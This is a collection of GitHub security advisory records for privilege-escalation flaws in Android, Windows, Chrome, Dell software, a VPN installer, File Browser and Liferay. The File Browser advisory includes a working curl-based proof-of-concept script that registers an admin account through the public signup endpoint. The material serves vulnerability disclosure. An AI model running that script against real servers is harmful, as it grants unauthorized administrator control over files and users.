CWE-269

{
  "affected": [],
  "aliases": [
    "CVE-2021-0468"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-269"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-04-13T19:15:00Z",
    "severity": "MODERATE"
  },
  "details": "In LK, there is a possible escalation of privilege due to an insecure default value. This could lead to local escalation of privilege for an attacker who has physical access to the device with no additional execution privileges needed. User interaction is needed for exploitation.Product: AndroidVersions: Android SoCAndroid ID: A-180427272",
  "id": "GHSA-5cvj-ww2q-jxc6",
  "modified": "2022-07-13T00:00:58Z",
  "published": "2022-05-24T17:47:13Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-0468"
    },
    {
      "type": "WEB",
      "url": "https://source.android.com/security/bulletin/2021-04-01"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:P/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2020-0444"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-269"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2020-12-14T22:15:00Z",
    "severity": "HIGH"
  },
  "details": "In audit_free_lsm_field of auditfilter.c, there is a possible bad kfree due to a logic error in audit_data_to_entry. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.Product: AndroidVersions: Android kernelAndroid ID: A-150693166References: Upstream kernel",
  "id": "GHSA-5cx5-fcx6-4j7m",
  "modified": "2022-05-24T17:36:15Z",
  "published": "2022-05-24T17:36:15Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-0444"
    },
    {
      "type": "WEB",
      "url": "https://source.android.com/security/bulletin/2020-12-01"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

{
  "affected": [],
  "aliases": [
    "CVE-2024-40657"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-269"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-09-11T00:15:11Z",
    "severity": "HIGH"
  },
  "details": "In addPreferencesForType of AccountTypePreferenceLoader.java, there is a possible way to disable apps for other users due to a confused deputy. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.",
  "id": "GHSA-5f45-24fp-cx62",
  "modified": "2024-09-11T18:31:03Z",
  "published": "2024-09-11T00:30:51Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-40657"
    },
    {
      "type": "WEB",
      "url": "https://android.googlesource.com/platform/packages/apps/Settings/+/8261e0ade3b414fea61d7fe9d8bc6df7a3fc8603"
    },
    {
      "type": "WEB",
      "url": "https://source.android.com/security/bulletin/2024-09-01"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2011-3898"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-269"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2011-11-11T11:55:00Z",
    "severity": "HIGH"
  },
  "details": "Google Chrome before 15.0.874.120, when Java Runtime Environment (JRE) 7 is used, does not request user confirmation before applet execution begins, which allows remote attackers to have an unspecified impact via a crafted applet.",
  "id": "GHSA-5fff-q63h-x7xw",
  "modified": "2022-05-13T01:26:54Z",
  "published": "2022-05-13T01:26:54Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2011-3898"
    },
    {
      "type": "WEB",
      "url": "https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A14266"
    },
    {
      "type": "WEB",
      "url": "http://code.google.com/p/chromium/issues/detail?id=102461"
    },
    {
      "type": "WEB",
      "url": "http://googlechromereleases.blogspot.com/2011/11/stable-channel-update.html"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/46933"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-24510"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-269"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-03-11T20:16:14Z",
    "severity": "MODERATE"
  },
  "details": "Dell Alienware Command Center (AWCC), versions prior to 6.12.24.0, contain an Improper Privilege Management vulnerability. A low privileged attacker with local access could potentially exploit this vulnerability, leading to Elevation of Privileges.",
  "id": "GHSA-5fjr-2j73-p536",
  "modified": "2026-03-11T21:31:03Z",
  "published": "2026-03-11T21:31:03Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-24510"
    },
    {
      "type": "WEB",
      "url": "https://www.dell.com/support/kbdoc/en-us/000427573/dsa-2026-093"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2019-1175"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-269"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2019-08-14T21:15:00Z",
    "severity": "HIGH"
  },
  "details": "An elevation of privilege vulnerability exists in the way that the psmsrv.dll handles objects in memory, aka \u0027Windows Elevation of Privilege Vulnerability\u0027. This CVE ID is unique from CVE-2019-1173, CVE-2019-1174, CVE-2019-1177, CVE-2019-1178, CVE-2019-1179, CVE-2019-1180, CVE-2019-1184, CVE-2019-1186.",
  "id": "GHSA-5fw3-2234-g822",
  "modified": "2024-06-03T18:53:35Z",
  "published": "2022-05-24T16:53:31Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-1175"
    },
    {
      "type": "WEB",
      "url": "https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-1175"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2021-43211"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-269"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-11-24T01:15:00Z",
    "severity": "HIGH"
  },
  "details": "Windows 10 Update Assistant Elevation of Privilege Vulnerability This CVE ID is unique from CVE-2021-42297.",
  "id": "GHSA-5g3j-j755-p6f8",
  "modified": "2023-12-28T18:30:31Z",
  "published": "2022-05-24T19:21:18Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-43211"
    },
    {
      "type": "WEB",
      "url": "https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-43211"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2023-47101"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-269"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-10-30T18:15:10Z",
    "severity": "HIGH"
  },
  "details": "The installer (aka openvpn-client-installer) in Securepoint SSL VPN Client before 2.0.40 allows local privilege escalation during installation or repair.",
  "id": "GHSA-5g98-gq3x-f82q",
  "modified": "2024-09-10T00:30:48Z",
  "published": "2023-10-30T18:30:26Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-47101"
    },
    {
      "type": "WEB",
      "url": "https://cyvisory.group/advisory/CYADV-2023-012"
    },
    {
      "type": "WEB",
      "url": "https://sourceforge.net/p/securepoint/news/2023/08/2040-is-now-available"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.61.2"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/filebrowser/filebrowser/v2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.62.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-32760"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-269",
      "CWE-284"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-16T20:44:20Z",
    "nvd_published_at": "2026-03-20T00:16:17Z",
    "severity": "CRITICAL"
  },
  "details": "## Summary\nAny unauthenticated visitor can register a full administrator account when self-registration ( signup = true ) is enabled and the default user permissions have perm.admin = true. The signup handler blindly applies all default settings - including Perm.Admin - to the\nnew user without any server-side guard that strips admin from self-registered accounts.\n\n## Details\n\n**Affected file:** http/auth.go\n\n**Vulnerable code:**\n```go\nuser := \u0026users.User{\n    Username: info.Username,\n}\nd.settings.Defaults.Apply(user)\n```\n\n**`settings.UserDefaults.Apply` (settings/defaults.go):**\n```go\nfunc (d *UserDefaults) Apply(u *users.User) {\n    u.Perm = d.Perm\n    ...\n}\n```\n\n**Settings API permits Admin in defaults (http/settings.go):**\n```go\nvar settingsPutHandler = withAdmin(func(_ http.ResponseWriter, r *http.Request, d *data) (int, error) {\n    ...\n    d.settings.Defaults = req.Defaults\n    ...\n})\n```\n\nThe signupHandler is supposed to create unprivileged accounts for new visitors. It contains no explicit user.Perm.Admin = false reset after Defaults.Apply. If an administrator (intentionally or accidentally) configures defaults.perm.admin = true and also enables signup, every account created via the public registration endpoint is an administrator with full control over all files, users, and server settings.\n\n## Demo Server Setup\n\n```bash\ndocker run -d --name fb-test \\\n  -p 8080:80 \\\n  -v /tmp/fb-data:/srv \\\n  filebrowser/filebrowser:v2.31.2\n\nADMIN_TOKEN=$(curl -s -X POST http://localhost:8080/api/login \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  -d \u0027{\"username\":\"admin\",\"password\":\"admin\"}\u0027)\n\ncurl -s -X PUT http://localhost:8080/api/settings \\\n  -H \"X-Auth: $ADMIN_TOKEN\" \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  -d \u0027{\n    \"signup\": true,\n    \"defaults\": {\n      \"perm\": {\n        \"admin\": true,\n        \"execute\": true,\n        \"create\": true,\n        \"rename\": true,\n        \"modify\": true,\n        \"delete\": true,\n        \"share\": true,\n        \"download\": true\n      }\n    }\n  }\u0027\n```\n\n## PoC Exploit\n\n```bash\n#!/bin/bash\nTARGET=\"http://localhost:8080\"\n\necho \"[*] Registering attacker account via public signup endpoint...\"\nSTATUS=$(curl -s -o /dev/null -w \"%{http_code}\" \\\n  -X POST \"$TARGET/api/signup\" \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"username\":\"attacker\",\"password\":\"Attack3r!pass\"}\u0027)\necho \"[*] Signup response: HTTP $STATUS\"\n\necho \"[*] Logging in as newly created account...\"\nATTACKER_TOKEN=$(curl -s -X POST \"$TARGET/api/login\" \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"username\":\"attacker\",\"password\":\"Attack3r!pass\"}\u0027)\n\necho \"[*] Fetching user list with attacker token (admin-only endpoint)...\"\ncurl -s \"$TARGET/api/users\" \\\n  -H \"X-Auth: $ATTACKER_TOKEN\" | python3 -m json.tool\n\necho \"\"\necho \"[*] Verifying admin access by reading /api/settings...\"\ncurl -s \"$TARGET/api/settings\" \\\n  -H \"X-Auth: $ATTACKER_TOKEN\" | python3 -m json.tool\n```\n\n**Expected output:** The attacker\u0027s token successfully returns the full user list and server settings - endpoints restricted to Perm.Admin = true users.\n\n## Impact\n\nAny unauthenticated visitor who can reach POST /api/signup obtains a full admin account.\nFrom there, they can:\n- List, read, modify, and delete every file on the server\n- Create, modify, and delete all other users\n- Change authentication method and server settings\n- Execute arbitrary commands if enableExec = true",
  "id": "GHSA-5gg9-5g7w-hm73",
  "modified": "2026-03-30T14:00:05Z",
  "published": "2026-03-16T20:44:20Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/filebrowser/filebrowser/security/advisories/GHSA-5gg9-5g7w-hm73"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32760"
    },
    {
      "type": "WEB",
      "url": "https://github.com/filebrowser/filebrowser/commit/a63573b67eb302167b4c4f218361a2d0c138deab"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/filebrowser/filebrowser"
    },
    {
      "type": "WEB",
      "url": "https://github.com/filebrowser/filebrowser/releases/tag/v2.62.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
      "type": "CVSS_V4"
    }
  ],
  "summary": "File Browser Signup Grants Admin When Default Permissions Include Admin"
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 7.3.4"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "com.liferay.portal:release.portal.bom"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "7.0.3"
            },
            {
              "fixed": "7.3.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.liferay.portal:release.dxp.bom"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "7.1.0"
            },
            {
              "fixed": "7.1.10.fp20"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.liferay.portal:release.dxp.bom"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "7.2.0"
            },
            {
              "fixed": "7.2.10.fp9"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2021-33335"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-269",
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-05-28T20:14:34Z",
    "nvd_published_at": "2021-08-03T22:15:00Z",
    "severity": "HIGH"
  },
  "details": "Privilege escalation vulnerability in Liferay Portal 7.0.3 through 7.3.4, and Liferay DXP 7.1 before fix pack 20, and 7.2 before fix pack 9 allows remote authenticated users with permission to update/edit users to take over a company administrator user account by editing the company administrator user.",
  "id": "GHSA-5gh9-g62h-f35m",
  "modified": "2025-05-28T20:14:34Z",
  "published": "2022-05-24T19:10:03Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-33335"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/liferay/liferay-portal"
    },
    {
      "type": "WEB",
      "url": "https://issues.liferay.com/browse/LPE-17103"
    },
    {
      "type": "WEB",
      "url": "https://web.archive.org/web/20220828222916/https://portal.liferay.dev/learn/security/known-vulnerabilities/-/asset_publisher/HbL5mxmVrnXW/content/id/120747906"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Liferay Portal and Liferay DXP Has Company Administrator Accounts Vulnerable to Takeovers"
}